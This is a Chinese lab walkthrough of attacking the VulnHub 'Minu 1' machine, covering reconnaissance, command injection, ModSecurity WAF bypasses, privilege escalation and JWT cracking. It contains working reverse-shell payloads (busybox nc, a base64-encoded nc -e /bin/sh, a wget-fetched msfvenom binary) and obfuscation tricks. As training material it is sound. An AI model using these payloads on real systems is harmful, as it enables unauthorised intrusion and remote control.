本项目中包含信息收集、信息收集、识别WAF、多种绕过WAF方式、获取稳定shell、内部信息收集和提权,最终拿到flag.txt。其中包含一些小技巧以及知识,都会在文章中展现出来。
注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
靶机下载地址:https://www.vulnhub.com/entry/minu-1,235/
下载完成后,使用 VirtualBox 导入,网络选择桥接模式,开启靶机.
准备工作完成,可以开始进行渗透了。
渗透测试的本质就是信息收集,
信息搜集的广度决定了攻击的广度,知识面的广度决定了攻击的深度。
1.NMAP挖掘信息
扫描挖掘本地的IP地址信息:
nmap -sS -sV -T5 -A 10.163.197.21
发现开放了25、80、110端口,25端口为SMTP端口服务,110端口为POP3,80端口扫描出了是乌班图的系统,该apache的版本为2.4.7,接下来访问下http的80端口。
2.web信息枚举
访问80端口
可以看到是apache的一个初始的服务页面,仅仅只有80端口开了htp服务的话,猜测下面一定是有目录的,所以进行爆破看看。
也可以使用其他爆破目录工具,此处我使用的是dirb,dirb是一个基于字典的web目录扫描工具,查找现有的(和/或隐藏的)Web对象,通过对Web服务器发起基于字典的攻击并分析响应的数据。采用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站,是在信息收集阶段获取目标信息常用工具手段。
dirb http://10.163.197.21/
扫描结果的状态码中大部分都是403,如果大批量出现403,说明前端是存在安全防护机制的,要么是waf要么是防御脚本。上面的爆破只有一个index.html返回的是200,访问发现就是刚才的主页。加大爆破力度。
在很多情况下,我们需要在目标服务器上提取特定扩展名的目录,然后可以使用dirb扫描的-X参数。此参数接受文件扩展名,然后在目标服务器或计算机上搜索给定的扩展名文件。
dirb http://10.163.197.21/-X .php .html
发现存在一个 test.php。
访问 http://10.163.197.21/test.php
提示:Read last visitor data 读取上次访问者数据。是否存在信息泄露呢,我们点击这个提示。
点击后弹出:http://192.168.3.88/test.php?file=last.html,一般情况下 ?file= 存在文件包含、sql注入。
尝试对URL进行构造。
http://10.163.197.21/test.php?file=../../../../../../../etc/passwd
结合前面爆破是大部分回显均为403,猜测是存在WAF,尝试命令注入。
发现存在命令注入,手工试了一些后,发现ls、cat这些命令无法正常执行,应该是被waf拦截了。
3.绕过WAF(一)识别waf
这里使用一个工具,对waf进行探测 WAFW00F
WAFW00F是一个Web应用防火墙(WAF)指纹识别的工具。
WAFW00F工作原理:
1、首先通过发送一个正常http请求,然后观察其返回有没有一些特征字符
2、如果不成功,它将发送大量(潜在的恶意) HTTP 请求,并使用简单的逻辑推断出它是哪个WAF
3、如果这也不成功,它将分析以前返回的响应,并使用另一个简单的算法来猜测 WAF 或安全解决方案是否正在积极响应我们的攻击.
下载地址:https://github.com/EnableSecurity/wafw00f
KALI自带这个工具
wafw00f http://10.163.197.21/
根据回显,存在waf,但是无法识别出来,当前使用的这个 wafw00f 是新版waf,但是新版反而不是很好用,所以我们再使用旧版的尝试一下。
旧版检测到是一款叫 modsecurity 的waf,是一个开源waf。
规则机制(绕过CRS)
WAF可以安装在服务器,可以安装在某个站的目录下,也可以安装在PHP文件内。
https://github.com/SpiderLabs/ModSecurity---开源
https://github.com/SpiderLabs/owasp-modsecurity-crs
ModSecurity是一个开源的跨平台Web应用程序防火墙(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs开发。作为WAF产品,ModSecurity专门关注HTTP流量,当发出HTTP请求时,ModSecurity检查请求的所有部分,如果请求是恶意的,它会被阻止和记录。
功能:
- SQL Injection (SQLi):阻止SQL注入
- Cross Site Scripting (XSS):阻止跨站脚本攻击
- Local File Inclusion (LFI):阻止利用本地文件包含漏洞进行攻击
- Remote File Inclusione(RFI):阻止利用远程文件包含漏洞进行攻击
- Remote Code Execution (RCE):阻止利用远程命令执行漏洞进行攻击
- PHP Code Injectiod:阻止PHP代码注入
- HTTP Protocol Violations:阻止违反HTTP协议的恶意访问
- HTTPoxy:阻止利用远程代理感染漏洞进行攻击
- Shellshock:阻止利用Shellshock漏洞进行攻击
- Session Fixation:阻止利用Session会话ID不变的漏洞进行攻击
- Scanner Detection:阻止黑客扫描网站
- Metadata/Error Leakages:阻止源代码/错误信息泄露
- Project Honey Pot Blacklist:蜜罐项目黑名单
- GeoIP Country Blocking:根据判断IP地址归属地来进行IP阻断
4.绕过WAF(二)模糊测试Fuzz
绕过waf可以尝试进行模糊测试,也就是FUZZ,FUZZ可以应用在很多场景中。
此处我们使用wfuzz工具。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://10.163.197.21/test.php?file=FUZZ---正常模糊测试执行命令。
-c 输出颜色 -z payload
这里跑出很多种结果。
响应值是200的和403的都很多,所以我们进行一下过滤,把403和404的过滤掉,然后重新执行。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://10.163.197.21/test.php?file=FUZZ---加hc过滤。
剩下的就都是响应值为200的,此时就可以使用命令测试绕过waf。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://10.163.197.21/test.php?file=FUZZ| grep dir
上面的命令是dir如何可以绕过waf。
出示了两种方式,我们进行尝试。
访问 http://10.163.197.21/test.php?file=|dir
可以绕过
关于wfuzz的详细使用可以参考:https://blog.csdn.net/qq_17204441/article/details/102279118
通过 | 绕过waf
现在已经可以绕过waf进行命令执行了
5.绕过WAF(三)
分号“;” 隔离绕过waf!
以文件形式去读的时候,加;就可以绕过
http://10.163.197.21/test.php?file=last.html;id
因为PHP底下是有过滤器的,因为有过滤器才导致有文件包含,我们用过滤器读取了文件包含下的一个文件。
通过访问 http://10.163.197.21/test.php?file=--version可以看到过滤器的信息。
是用cat过滤的,所以要以一个文件开头读取信息,然后再绕过。
但是目前的两种绕过方式都只能执行部分命令,如果命令后面需要跟参数,就不行了。
二进制绕过
可以在不受限制和不同的二进制文件中执行命令来绕过本地安全限制!
这里提供一个包含所有二进制文件的网站:
二进制文件的列表:https://gtfobins.github.io/
最终发现:https://gtfobins.github.io/gtfobins/busybox/可以绕过waf
所以根据二进制绕过waf,就可以反弹shell到其他机器上。
http://10.163.197.21/test.php?file=YLion;busyboxnc 10.163.196.91 6789 -e sh
此时是没有环境变量的,但是每个二进制文件都包含环境变量,可以添加参数-i。
http://10.163.197.21/test.php?file=YLion;busyboxnc 10.163.196.91 6789 -e sh -i
6.绕过WAF(四)
& --绕waf(URL编码混淆绕过WAF)。
&的url编码为%26 空格的url编码为%20。
&会过滤掉前面的命令,直接执行后面的命令。
可以执行成功。
这里混淆的话,linux一般都会默认安装base64,所以使用base64加密混淆。
但是base64加密完会包含=,=被waf加入黑名单了,等号和你加密时的空格有关,可以在末尾添加空格,加密后等号就会去掉,如图下中的尝试。
&/bin/echo bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64 -d|/bin/sh
%26/bin/echo bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64 -d|/bin/sh
此处执行
http://10.163.197.21/test.php?file=%26/bin/echo%20bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64%20-d|/bin/sh
发现无法执行。
此时尝试继续绕过,加?号,?问号在linux中以命令使用着,例如:/bin/echo可以通过替换一些字母来调用,/bin/ech?,仍然会执行相同的命令!----在中间件服务里会自动识别命令。
%26/b?n/ec?o bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/u?r/b?n/b?se64 -d|/bin/?h
http://10.163.197.21/test.php?file=%26/b?n/ec?o%20bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/u?r/b?n/b?se64%20-d|/bin/?h
成功 总结一下:
1)知道了cat执行命令,那么用&符号:
& 符号url编码是%26,结束并开始一个新的命令!
2)%20 ---空格
3)bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjMuODYgMTMzNyAgICAgICAK ---base64编码
(这里==也在黑名单上)
4)/u?r/b?n/b?se64%20-d是url编码的绕过方法:/usr/bin/base64 -d
5)|/b?n/sh也是一种绕过:|/bin/sh、
7.绕过WAF(五)
$绕过WAF,但是是针对modsecurity这个waf的。
$u 然后执行命令 $u被视为空字符串。
首先我们使用msf生成一个shell。
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.27.187 lport=4455 -f elf > shell
然后用python开启一个http服务,并且用nc监听4455端口。
http://10.163.197.21/test.php?file=YLion;$u wget http://192.168.27.187:80/shell-o /tmp/shell
执行即可成功上传,通过下面的命令查看。
http://10.163.197.21/test.php?file=YLion;$u ls /tmp
可以看到文件存在,查看一下文件权限。
http://10.163.197.21/test.php?file=YLion;$u ls -la /tmp/shell
并且发现权限比较低,所以执行另一条命令。
http://10.163.197.21/test.php?file=YLion;$u chmod 777 /tmp/shell
给予高权限,再次查看。
http://10.163.197.21/test.php?file=YLion;$u ls /tmp
权限已经变高了,攻击机上进行监听端口。
nc -vlp 4455
http://10.163.197.21/test.php?file=YLion;$u /tmp/shell
注意:这里存在一个坑,可能大家做到这里会发现,python开启的http服务那里有记录,文件也可以看到,但是没有回显,其实是因为作者挖了一个坑,大家看上面查看文件权限的图片,里面那个0,代表文件大小是0,这是因为文件空间满了,搭建之处空间被占满了,所以只有一个文件空壳,有名字,但是没有内容。所以需要删除一些文件,再重新上传。
总结上述绕过方式:| $ & ; 加上各种混淆base64 ? 等等
8.稳定shell拓展
这里已经拿到shell,这里也有一点,就是这里要输python3,而不是直接python。
python3 -c 'import pty; pty.spawn("/bin/bash")'
SHELL=/bin/bash script -q /dev/null
xport TERM=xterm-256color
ctrl + z
stty raw -echo
fg
执行完成就拿到了稳定shell。
9.内部信息收集
uname -a
由此得知是一个32位的系统。
可以上传一个脚本,然后运行 linpeas.sh 这是一个Linux提权辅助工具。
这个脚本非常厉害,可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码,输出非常多。
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
由于没有空间,可以使用rm -rf命令删除tmp目录下的一些文件,一般tmp目录下为临时文件。
Linux version 4.13.0-39-generic ---45010
Sudo version 1.8.20p2 ---CVE-2021-3156
uid=1000(bob) gid=1000(bob) groups=1000(bob),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare) ---找到bob的密码,su bob登录用sudo -l提权。
在tmp目录下进行查看
ls -la
再查看一下home目录下的内容。
然后在 /home/bob/ 目录下找到一个隐藏文件。
上面的脚本也会枚举出这个文件。
通过python3,将该文件下载下来。
python3 -m http.server 8089
wget http://192.168.2.230:8089/._pw_
cat ._pw_
10.提权--深入分析PW文件
初步怀疑这是一个密码base64加密,但是base64中并没有点,直接尝试解码试试。
点在base64中代表跳过的意思,前面的部分解出了一些东西。
sha256 类型:JWT
将第一个点号过滤,查看后面的信息。
过滤第二个点号。
是二进制文件。
对已有信息进行解读。
JWT是一种密匙认证机制,类似签名。
JSON Web Token(JWT)是一个开放的行业标准(RFC 7519),它定义了一种简介的、自包含的协议格式,用于在通信双方传递json对象,传递的信息经过数字签名可以被验证和信任。JWT可以使用HMAC算法或使用RSA的公 钥/私钥对来签名,防止被篡改。
JWT 具有这种格式的三个部分:
base64(header).base64(payload).base64(signature)
1. header在 JSON 中指定算法和类型。
2. payload指定令牌的声明,也在 JSON 中。
3. signature是编码头和有效载荷的数字签名。
解密提供两种思路,在线解密以及解密工具。
https://jwt.io/#debugger这个网站提供在线解密,但是有些情况是解不出来的,需要使用工具破解。
这里给出两种工具:
https://github.com/brendan-rius/c-jwt-cracker.git
https://github.com/lmammino/jwt-cracker
我们使用第一种
proxychains git clone https://github.com/brendan-rius/c-jwt-cracker.git
cd jwt-cracker
apt-get install libssl-dev
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
Secret is "mlnV1" ----等待几分钟
账户root,密码为mlnV1
root目录下存在flag.txt
11.总结
本篇文章着重点在于过WAF部分,也对其他的信息手机、提权的等给出了一些思路,希望小伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!
本文作者:YLion, 转载请注明来自FreeBuf.COM
文章来源:FreeBuf.COM
还没有评论,来说两句吧...